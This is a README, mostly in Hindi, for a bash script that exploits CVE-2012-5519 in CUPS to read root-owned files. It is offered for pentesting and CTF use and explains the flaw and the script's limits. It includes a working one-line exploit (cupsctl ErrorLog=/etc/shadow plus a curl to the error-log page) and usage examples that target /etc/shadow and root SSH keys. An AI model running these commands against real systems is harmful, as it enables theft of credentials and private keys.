
cups-root-file-read.sh | CVE-2012-5519
मेटास्प्लॉइट के 'cups_root_file_read.rb' मॉड्यूल का एक bash कार्यान्वयन, जो पेंटेस्टिंग और CTF के लिए डिज़ाइन किया गया है।
मुख्य रूप से bash स्क्रिप्टिंग में एक छोटा अभ्यास। इसे एक स्व-निहित प्रोग्राम बनाने का इरादा है जो लिनक्स सिस्टम पर CVE-2012-5519 का शोषण करता है;
यह उपयोगकर्ता को एक इंटरैक्टिव प्रॉम्प्ट प्रदान करता है, जिससे वे कई प्रतिबंधित फ़ाइलों को जल्दी से पढ़ सकते हैं।
यह स्क्रिप्ट CUPS (कॉमन UNIX प्रिंटिंग सिस्टम) < 1.6.2 में एक भेद्यता का शोषण करती है।
CUPS lpadmin समूह के उपयोगकर्ताओं को cupsctl कमांड के साथ cupsd.conf फ़ाइल में बदलाव करने की अनुमति देता है।
यह कमांड उपयोगकर्ता को ErrorLog पथ निर्दिष्ट करने की भी अनुमति देता है।
जब उपयोगकर्ता '/admin/log/error_log' पेज पर जाता है, तो root के SUID के साथ चलने वाला cupsd डेमॉन ErrorLog पथ को पढ़ता है और उसे सादे पाठ (plain text) में प्रदर्शित करता है।
संक्षेप में, यदि ErrorLog पथ वहाँ निर्देशित किया जाता है तो root उपयोगकर्ता द्वारा स्वामित्व वाली फ़ाइलें पढ़ी जा सकती हैं।
स्क्रिप्ट उपयोगकर्ता को प्रॉम्प्ट देने से पहले कई जाँचें करती है; हालाँकि सभी पूर्वापेक्षाएँ इस प्रकार हैं:
wget या nc जैसे कोई वैकल्पिक http पार्सिंग कमांड निर्मित नहीं हैं।cupsctl कमांड उपलब्ध होना आदि शामिल हैं...यह माना जाता है कि स्क्रिप्ट का उपयोग पेंटेस्टिंग और CTF इवेंट्स के उद्देश्य से किया जाएगा। स्क्रिप्ट को लक्ष्य मशीन पर रखें। यह विभिन्न तरीकों से किया जा सकता है। लक्ष्य मशीन से एक सामान्य तरीका:
wget http://[my ip]:[my port]/cups-root-file-read.sh
cups-root-file-read.sh को किसी तर्क या फ़्लैग की आवश्यकता नहीं है, लेकिन इसके दो वैकल्पिक हैं:
./cups-root-file-read.sh -h
./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: turns off features which may negatively affect
screen readers.
-h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow etc...
इसके साथ चलाएँ:
bash cups-root-file-read.sh
या
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
या यदि आप केवल एक फ़ाइल पढ़ना चाहते हैं:
echo '/etc/shadow' | ./cups-root-file-read.sh
प्रारंभिक कार्यक्षमता और भेद्यता जाँचों को पार करने के बाद, उपयोगकर्ता को एक प्रॉम्प्ट दिया जाता है जिससे वे एक मौजूदा फ़ाइल का पूर्ण पथ टाइप कर सकते हैं। प्रत्येक फ़ाइल की सामग्री टर्मिनल पर मुद्रित की जाएगी।
जबकि स्क्रिप्ट का उपयोग प्रतिबंधित फ़ाइलों का परीक्षण करने और उन्हें पढ़ने के लिए किया जा सकता है, यह अधिक उपयोगी है यदि उपयोगकर्ता को पहले से ही उन प्रतिबंधित फ़ाइलों के अस्तित्व के बारे में पता हो जिन्हें वे देखना चाह सकते हैं। उदाहरण के लिए:
स्क्रिप्ट और शोषण की कुछ सीमाएँ हैं। और जहाँ तक मुझे पता है, मेटास्प्लॉइट के लिए 'cups_root_file_read.rb' मॉड्यूल भी इन्हीं सीमाओं से ग्रस्त है।
उपयोगकर्ता का सबमिशन उस फ़ाइल का पूर्ण पथ (absolute path) होना चाहिए जिसे उपयोगकर्ता देखना चाहता है और फ़ाइल या पथ में कहीं भी व्हाइटस्पेस नहीं होना चाहिए। ऐसा इसलिए है क्योंकि cupsctl कमांड उद्धरणों (जैसे ErrorLog='/path to/file.txt') के बावजूद व्हाइटस्पेस वर्णों को सही ढंग से संभाल नहीं सकता है और इनपुट को व्हाइटस्पेस वर्णों पर अलग-अलग निर्देशों में विभाजित कर देगा, जिसमें बूलियन मान 'true' होगा।
पिछला उदाहरण, यदि सबमिट किया जाता है, तो cupsd.conf फ़ाइल में इस प्रकार लिखा जाएगा:
ErrorLog=/path
to/file.txt=true
यह त्रुटियाँ उत्पन्न करता है जो एरर लॉग में लिखी जाती हैं, जो महत्वपूर्ण फ़ाइलें हो सकती हैं यदि पिछले सफल फ़ाइल-पढ़ने के प्रयास में ErrorLog पथ में निर्दिष्ट की गई हों। इसलिए, स्क्रिप्ट व्हाइटस्पेस की जाँच करती है और उसे फ़िल्टर करती है।
यह सुनिश्चित करने के लिए जाँचों के बावजूद कि उपयोगकर्ता कुछ ऐसा सबमिट करता है जो एक पूर्ण पथ और फ़ाइल जैसा दिखता है, cupsctl कमांड के साथ सर्वर को भेजे जाने से पहले सभी त्रुटियों को पकड़ा नहीं जा सकता है:
रूट निर्देशिका के भीतर मौजूद फ़ाइलें पढ़ी जा सकती हैं (जैसे '/file.txt') लेकिन '/tmp' और '/root' जैसी सामान्य unix निर्देशिकाएँ भी सबमिट की जा सकती हैं (चाहे जानबूझकर या उपयोगकर्ता की गलती से)। ऐसी सिस्टम निर्देशिकाओं के लिए कोई पकड़ नहीं है और ये सर्वर से 404 स्टेटस कोड लौटाएँगी। उपयोगकर्ता को इनके बारे में सूचित किया जाता है।
पथ में निर्दिष्ट गैर-मौजूद निर्देशिकाएँ (जैसे '/tmp/non-existent-directory/file.txt') भी सर्वर द्वारा 404 स्टेटस कोड लौटाए जाने का परिणाम देंगी।
गैर-मौजूद फ़ाइलों (जैसे '/root/non-existent-file.txt') को देखने का प्रयास करने पर उन्हें नए एरर लॉग के रूप में बनाया जाएगा। उपयोगकर्ता को आउटपुट में इसके बारे में सूचित किया जाता है और यह भी कि हो सकता है कि खाली फ़ाइल शोषण स्क्रिप्ट द्वारा बनाई गई हो, यदि वह पहले से मौजूद नहीं थी। हमेशा यह संभावना होती है कि ये खाली फ़ाइलें स्क्रिप्ट चलाए जाने के आसपास ही किसी सिस्टम उपयोगकर्ता द्वारा किसी भी उद्देश्य से बनाई गई हों, और इसलिए उन्हें साफ नहीं किया जाता है।
जबकि linux के पास यह जाँचने के लिए कमांड हैं कि फ़ाइल या निर्देशिका मौजूद है या नहीं, यह सुविधा स्क्रिप्ट में उपयोगकर्ता इनपुट को cupsctl कमांड में भेजे जाने से पहले लागू नहीं की गई है, क्योंकि टेस्ट कमांड काम नहीं करते हैं यदि कोई फ़ाइल या निर्देशिका वर्तमान उपयोगकर्ता के लिए प्रतिबंधित स्थान में मौजूद है (जैसे '/root') स्पष्ट सुरक्षा कारणों से। चूँकि स्क्रिप्ट ऐसी प्रतिबंधित फ़ाइलों को पढ़ने के लिए डिज़ाइन की गई है, ऐसी सुविधा व्यर्थ होगी।
कभी-कभी परिवर्तन करते समय cupsctl त्रुटियाँ हो सकती हैं, या तो मैन्युअल रूप से, या cups-root-file-read.sh के माध्यम से। जबकि cups-root-file-read.sh असामान्य उपयोगकर्ता इनपुट और कुछ त्रुटियों को संभालती है, ये cupsctl त्रुटियाँ जो cupsd.conf फ़ाइल में परिवर्तन करते समय या वेबपेज का अनुरोध करते समय होती हैं, संभाली नहीं जाती हैं। cups-root-file-read.sh केवल बाहर निकल जाएगी। ऐसे मामलों में, स्क्रिप्ट को फिर से शुरू किया जा सकता है, और एक और प्रयास किया जा सकता है।
स्क्रिप्ट मुख्य रूप से एक एकल शोषण के लिए एक छोटा, व्यापक, स्व-निहित प्रोग्राम बनाने का अभ्यास था, जिसमें पठनीयता और पहुँच (accessibility) दोनों को ध्यान में रखा गया था।
स्क्रिप्ट CVE-2012-5519 की उपस्थिति का परीक्षण करने और फिर शोषण के दौरान कई प्रतिबंधित फ़ाइलों को जल्दी और आसानी से पढ़ने के लिए है। उस उद्देश्य के लिए मुझे लगता है कि यह मेटास्प्लॉइट मॉड्यूल और मैन्युअल कमांड टाइप करने और उसे बार-बार संपादित करने दोनों की तुलना में काफी तेज़ है (मुझे आशा है)। लेकिन यह कहने के बाद, यदि उपयोगकर्ता जानता है कि लक्ष्य मशीन भेद्य है, तो वही परिणाम कुछ इस तरह से प्राप्त किया जा सकता है:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
2022 तक, यह शोषण 10 साल पुराना है। यदि लक्ष्य मशीन भी पुरानी है, तो संभव है कि स्क्रिप्ट के भीतर उपयोग किए जा रहे विभिन्न कमांडों के संस्करणों में वह कार्यक्षमता न हो जो अब उनमें है। यह bash के संस्करण पर भी लागू हो सकता है। दुर्भाग्य से मैं समय द्वारा सीमित था और व्यापक वातावरण में स्क्रिप्ट का परीक्षण नहीं कर सका। यह CTF के लिए अधिक उपयोगी हो सकती है।
मूल रूप से स्क्रिप्ट python3 के साथ बनाई जाने वाली थी, हालाँकि मुझे कई अवसरों पर यह देखने को मिला कि एक अन-प्रिविलेज्ड उपयोगकर्ता के रूप में सिस्टम तक पहुँच प्राप्त करने के बाद python2 और python3 उपयोगकर्ता के लिए उपलब्ध नहीं थे। bash लगभग हमेशा एक linux सिस्टम पर उपलब्ध होता है, साथ ही सामान्य linux कमांड भी, इसलिए bash कार्यान्वयन सुरक्षित विकल्प लगा।
bash अंतर्निहित कमांड का यथासंभव उपयोग किया जाता है, हालाँकि स्क्रिप्ट कुछ बाहरी कमांडों जैसे sort, head और curl (और निश्चित रूप से शोषण के भाग के रूप में उपयोग किया जाने वाला cupsctl) पर निर्भर करती है। वर्तमान में इन कमांडों के लिए कोई जाँच नहीं है और समय की कमी के कारण कोई विकल्प नहीं है। यदि ये कमांड उपलब्ध नहीं हैं तो स्क्रिप्ट विफल हो जाएगी :(
https://argbash.io - प्रारंभिक स्क्रिप्ट तर्कों में मदद के लिए।
https://skerritt.blog/a11y/ - पहुँच (accessibility) कार्यान्वयन के लिए।